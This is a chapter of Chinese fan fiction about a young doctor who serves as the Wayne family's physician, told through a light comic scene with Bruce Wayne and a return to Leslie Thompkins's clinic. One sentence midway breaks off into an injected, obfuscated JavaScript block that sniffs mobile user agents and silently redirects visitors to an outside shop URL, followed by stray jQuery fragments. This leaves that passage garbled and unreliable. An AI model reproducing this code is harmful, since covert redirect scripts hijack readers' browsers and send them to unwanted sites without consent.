15.蝙蝠健康生活
作品:《[综英美]我给韦恩当家庭医生》 “啊,既然如此,听起来,你的生活方式真是健康极了,韦恩先生。”
埃拉诺很谨慎地选择出口的词汇。很难想象布鲁斯·韦恩不喝酒,但他的确是说自己不喝酒,而且是从不喝酒,从来都是用姜汁汽水代替晚宴上的酒水。
确实健康。
不过这话的真伪无从验证,现在还是上午,晚宴会持续到深夜,如果韦恩真喝酒了的话,现在测个血液酒精浓度估计还能测出来……
韦恩庄园的医疗室里有相应的仪器。
但埃拉诺不能说“我们去确认一下你是不是真的没有喝酒”,埃拉诺只能说“您的生活方式真是健康极了”。
“谢谢,埃拉诺医生。”
布鲁斯似乎对这个回答非常满意,他眨了眨自己的眼睛。
“我可以信任你的专业能力,对吧,埃拉诺,你是哪一所学校毕业的来着——我没有怎么看简历,这都是阿福负责的。”
哥谭首富轻抬起一根手指扶住额角,好像他在努力回想自己从来没有看过的家庭医生简历上的内容。
“我是斯坦福毕业的医学博士,韦恩先生。以及,是的,您绝对可以信任我的专业能力,在获得庄园家庭医生的职位前,我已经是波特兰切尔西综合医院的主治医师了。”
埃拉诺复述自己的简历内容。
“这么说,你一定在医学方面很权威了,”韦恩的语气听上去满意极了,“一位斯坦福大学的医学博士,一位年轻有为的主治医师,说我的生活方式非常健康。”
布鲁斯的语调异常轻快。
埃拉诺甚至看见他的嘴角在上扬。不是新闻上的商业微笑,这个笑看起来要更真心一点。
“是的……韦恩先生。”
感觉怪怪的。
“这么说的话,我可以向阿福宣布有这样的一位权威人士作证我的生活方式很健康,也可以向莱斯利医生——也就是你的母亲,同时也是我很尊重的长辈——说我的生活方式很健康。”
布鲁斯的语气充满了期待。
哦,蝙蝠啊。
自己好像真说了“听起来你的生活方式很健康”这种话。
埃拉诺想。
“如果你的确不喝酒——”
埃拉诺再次确认。
布鲁斯心情愉悦地说:“是的,埃拉诺医生,我从不喝酒。”
埃拉诺:“如果你的确不吸烟——”
布鲁斯心情更愉悦地说:“是的,埃拉诺医生,我的确从不吸烟。”
埃拉诺:“如果你的确没有任何形式的药物滥用——”
布鲁斯的心情达到愉悦峰值:“绝对没有,莱斯利医生可以作证。”
埃拉诺松了一口气:“哦,这么说的话,你的生活方式的确很健康,韦恩先生。”
布鲁斯满意地点点头:“非常感谢,埃拉诺医生,我一定要把你这位专业人士的健康认证告诉阿福,再见,祝你有美好的一天。”
埃拉诺:“也祝您有健康的一天,韦恩先生。”
布鲁斯·韦恩心满意足地转身离开,步履轻快得仿佛刚谈成了一笔大生意,而不是刚刚从一个医生那里获得了一份关于自己生活方式的,基于有限事实的健康认证。
埃拉诺目送他的背影消失在走廊拐角,轻轻摇了摇头,把那个关于“布鲁斯·韦恩到底在晚宴上喝没喝酒”以及“他对极限运动的热爱与健康生活方式的定义冲突”的念头再次打包塞回大脑的某个角落。
她继续向主宅大门走去,阿尔弗雷德已经等在那里。
阿尔弗雷德·潘尼沃斯一定从蝙蝠侠那里学了一手,明明她前脚刚刚从医疗室和阿尔弗雷德告别,后脚他又在门口等着自己。
“再次感谢您,埃拉诺医生。”管家为她拉开门,“车已经备好,会送您回公园街诊所。关于处方,我会立即安排。”
“谢谢,阿尔弗雷德。记得观察提姆的体温变化和服药反应,随时联系我,”埃拉诺走出去,又补充了一句,“另外……如果可以的话,尽量让他在接下来24小时里远离电子屏幕,真正的休息对恢复至关重要。”
阿尔弗雷德的嘴角浮现一丝几乎不可见的笑意。
“我会尽力而为,医生。但您知道,让德雷克少爷完全脱离学习和工作,其难度可能不亚于说服老爷放弃他所热爱的……你懂的。”
埃拉诺决定不追问那个被省略的词具体指什么极限运动。
她只是回以一个同样心照不宣的点头:“我理解。尽力就好。”
回程的车里,埃拉诺靠着车窗,看着哥谭午后略显灰蒙的天空。她打开手机,屏幕上是昨晚夜班时匆忙记下的关于红罗宾的诊疗笔记摘要,出于职业习惯,她总是会把一些典型或特殊的病例做个简单复盘。
扫了一眼,她关掉笔记。
巧合。一定是巧合。
哥谭有几百万人,细菌感染的临床表现就那么几样,发烧头疼肌肉酸痛,教科书上都写得明明白白。提姆·德雷克和红罗宾在同一个晚上出现相似症状,只能说明哥谭的某种致病菌昨晚特别活跃,或者……某种“熬夜加班/夜巡”导致的免疫力下降模式在特定人群中高度重合。
埃拉诺决定把手机调成静音,闭上眼睛小憩。或许她需要一点时间,把脑子里那个自动将“提姆·德雷克”和“红罗宾”的症状列表进行比对的,过于活跃的临床思维暂时关掉。
车子平稳地驶入犯罪巷附近,熟悉的街景让她的心情逐渐沉淀下来。
诊所刚好没有病人,只有莱斯利医生坐在问诊台后面。
“回来了?韦恩家的小男孩怎么样?”
莱斯利问。
“细菌感染,已经开了抗生素,问题不大。”埃拉诺放下包,凑到水池边开始洗手,“就是有点过度劳累,抵抗力下降。阿尔弗雷德会盯着他休息的。”
“那就好。布鲁斯呢?他没又给自己添什么新花样吧?”
埃拉诺顿了一下,擦干手,想起刚才那段关于“健康生活方式”的对话,忍不住笑了:“他?他好得很,刚刚还在向我强调他昨晚在慈善晚宴上只喝了姜汁汽水,生活方式
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221738|196492||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
非常健康,并且热切希望我把这个‘专业意见’传达给你和阿尔弗雷德。”
莱斯利医生闻言,先是愣了一下,然后她摇了摇头,去隔壁房间找咖啡机,临进去前丢下来一句“哦,布鲁斯。”
她只是这么说了一句。
埃拉诺坐下,等自己的咖啡。
果然,过了一会后妈妈端着两杯咖啡出来了。
“对了,”莱斯利喝了一口咖啡,像是忽然想起什么,“你之前不是好奇阿尔弗雷德怎么会做麻醉吗?还有理查德和芭芭拉当护士?”
埃拉诺抬起头。她确实好奇过,但在决定“睁一只眼闭一只眼”后,就强迫自己不再去想。
莱斯利看着女儿的表情,温和地笑了笑:“没什么神秘的……”
“我不想知道。”
埃拉诺理直气壮地说。
面对自己的妈妈,她可以理直气壮地说出来这句“我不想知道”。
“真的不想是哪一个阿尔弗雷德吗?”
莱斯利逗埃拉诺。
“不想,这肯定是一个化名吧,对吧?”
“不,这不是个化名,这是个真名。”
“啊,这样的话,更没有必要知道了,”埃拉诺无所谓地耸耸肩,“妈妈,这样的话,这个阿尔弗雷德肯定就是你的哪个叫阿尔弗雷德的朋友,我就更没有必要知道了。”
莱斯利某个叫阿尔弗雷德的朋友……
比如阿尔弗雷德·潘尼沃斯吗?
哦,怪怪的。
算了,懒得管这些了。
“好吧,你赢了。”莱斯利举起双手作投降状,语气轻松,“不想知道就不想知道。反正,那台手术不会再发生了——至少,他们向我保证,会尽量避免再需要那样高规格的‘门诊手术’。”
“那再好不过了。”埃拉诺真心实意地说,端起咖啡喝了一大口。
“尤其是对那位主刀医生的血压来说。”莱斯利幽默地补充道。
母女俩相视一笑。
埃拉诺轻声说:“反正我已经在这里了,我当你的助手。”
短暂的宁静被诊所门口传来的铃声打破。一个披着毯子的中年女性,右手用一块手帕包着,身后跟着两个孩子。
“莱斯利医生在吗?”她看向莱斯利,又看了看埃拉诺。
“在,一直都在,”莱斯利立刻站起身,“过来吧,让我看看你的手。埃拉诺,能帮我拿一下清创包吗?”
“当然。”埃拉诺放下咖啡杯,利落地转身去准备器械。
这是一例烫伤,母亲在试图为孩子们烤棉花糖时烫到了手,莱斯利为她处理了,很容易处理。绝大多数时候,诊所的病例都是这么容易处理的,不过埃拉诺多看了两眼她身上的毯子,怀疑这是一位流浪母亲,所以拿了一本小册子开始给她念韦恩集团对单身母亲的资助政策。
处理完伤口,埃拉诺也介绍完了,目送病人走出去,她顺手把小册子摆回杂志架。
“但愿韦恩先生真的和他说的一样健康吧。”
她说。

